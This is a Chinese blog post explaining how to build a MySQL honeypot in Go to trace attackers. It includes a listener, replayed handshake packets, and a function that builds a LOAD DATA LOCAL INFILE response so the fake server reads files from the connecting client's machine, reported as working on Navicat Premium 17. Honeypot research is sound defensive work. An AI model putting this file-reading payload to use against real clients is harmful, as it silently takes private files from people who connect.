MySQL高交互蜜罐速成

不一样的造轮子

闲聊几句

最近有溯源的一个需求,第一时间就想到了蜜罐。JSONP、配置文件、安全工具看了一圈下来,感觉最好用的还是 MySQL 蜜罐

Github 上有很多 MySQL 蜜罐的优秀项目,但是恕我大胆一句:代码逼死强迫症

但,在造轮子的过程中,还是有不少不一样的收获

Go TCP

Github 的项目大部分都是 Python socket 模拟 MySQL 前两个数据包的交互过程:

1、服务器发送MySQL的版本信息

2、接收客户端的账户验证信息,返回登录成功数据包

那 Go 自然也可以使用 net 来模拟 MySQL 和各个类型客户端的交互过程

先来看下 Go net TCP 服务器的代码:

func SqlHoneypot() {
	listener, err := net.Listen("tcp", ":3306")
	if err != nil {
		log.Fatalf("Error listening on port 3306: %v", err)
	}
	defer listener.Close()

	log.Info("Server is listening on port 3306")

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Warnf("Error accepting connection: %v", err)
			continue
		}

		go func(conn net.Conn) {
			defer conn.Close()
			log.Warnf("New connection from: %s", conn.RemoteAddr())
			honeypotPayload(conn)
		}(conn)
	}
}

绑定 TCP 协议和 3306 端口,使用 Goroutine 来简单处理并发,再加入无限的 for 循环不断刷新来接收客户端发来的不同信息

Goroutine:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html

MySQL 交互过程分析

先来看下 MySQL 命令行客户端和服务端的交互流程

b6c31d01d420241210163539

详细的数据流量交互:

d2b5ca33bd20241210163620

1、连接数据库

d2b5ca33bd20241210163639

d2b5ca33bd20241210163747

2、客户端发送验证信息

d2b5ca33bd20241210163707

d2b5ca33bd20241210163802

3、客户端发送查询语句

d2b5ca33bd20241210163728

d2b5ca33bd20241210163815

在 Go 中的代码实现就呼之欲出了,利用 WireShark 可以直接复制 hex 编码后的数据包,直接在代码中定义

ServerGreeting  = "4a0000000a352e372e32360008000000603e236c7f09736f00fff7c00200ff811500000000000000000000670635447d1c64532f02665c006d7973716c5f6e61746976655f70617373776f726400"

完整代码:https://github.com/C1ph3rX13/MythSQL/blob/main/mysql/Protocol.go

交互代码

网上盛传的 Navicat Premium 反制,在新版本更新之后已经被客户端限制:报错 200

但,蜜罐分析了最新版本的 Navicat Premium 17 的交互过程,可以完美适配

交互过程包括:

1、发送和接收

// honeypotPayload 处理连接并发送蜜罐负载
func honeypotPayload(conn net.Conn) {
	defer conn.Close()

	if err := send(conn, ServerGreeting); err != nil {
		log.Warnf("Error sending greeting: %v", err)
		return
	}

	if err := send(conn, LoginOK); err != nil {
		log.Warnf("Error sending login: %v", err)
		return
	}

	for {
		buf, err := bRecv(conn)
		if err != nil {
			log.Warnf("Error reading data: %v", err)
			return
		}

		if err = processCommands(conn, buf); err != nil {
			log.Warnf("Error processing commands: %v", err)
			return
		}
	}
}

2、判断客户端的回复,做出对应的模拟

// processCommands 处理请求中的命令
func processCommands(conn net.Conn, buf []byte) error {
	cmd := string(buf)
	var resp string

	switch {
	case strings.Contains(cmd, `utf8mb4`):
		resp = SetName
	case strings.Contains(cmd, `lower_case_%`):
		resp = Ndbcluster
	case strings.Contains(cmd, `information_schema.SCHEMATA`):
		resp = Schemata
	case strings.Contains(cmd, `SHOW DATABASES`):
		resp = ShowDatabases
	default:
		resp = Aggressor
	}

	return send(conn, resp)
}

3、其余响应一律发送读取文件的数据包

MySQL Payload

利用 LOAD LOCAL INTO FILE 读取攻击者本地文件是 MySQL 蜜罐的经典操作

先看下 Payload 的构造规则

d2b5ca33bd20241210165042

d2b5ca33bd20241210165054

d2b5ca33bd20241210165104

d2b5ca33bd20241210165113

最后得出构造规则的代码

// LoadLocalIntoFile 构造自定义读取文件的 Payload
func LoadLocalIntoFile(filename string) string {
	fileChr := []byte{byte(len(filename) + 1)}
	padding := []byte{0x00, 0x00, 0x01, 0xfb}
	fileByte := []byte(filename)

	evilResp := append(append(fileChr, padding...), fileByte...)

	return hex.EncodeToString(evilResp)
}

读取文件

d2b5ca33bd20241210165243

总结

1、交互的数据包可以利用抓包模拟,这样简单粗暴

2、交互的规则需要灵活判断攻击者的思路,内置多个敏感路径去读取文件

3、当攻击者使用有防护的客户端时,无效

最后,项目地址:https://github.com/C1ph3rX13/MythSQL

各位,不错的话,给个 Star 啊

© 版权声明
THE END
喜欢就支持一下吧
点赞49 分享
评论 共3条

请登录后发表评论

    请登录后查看评论内容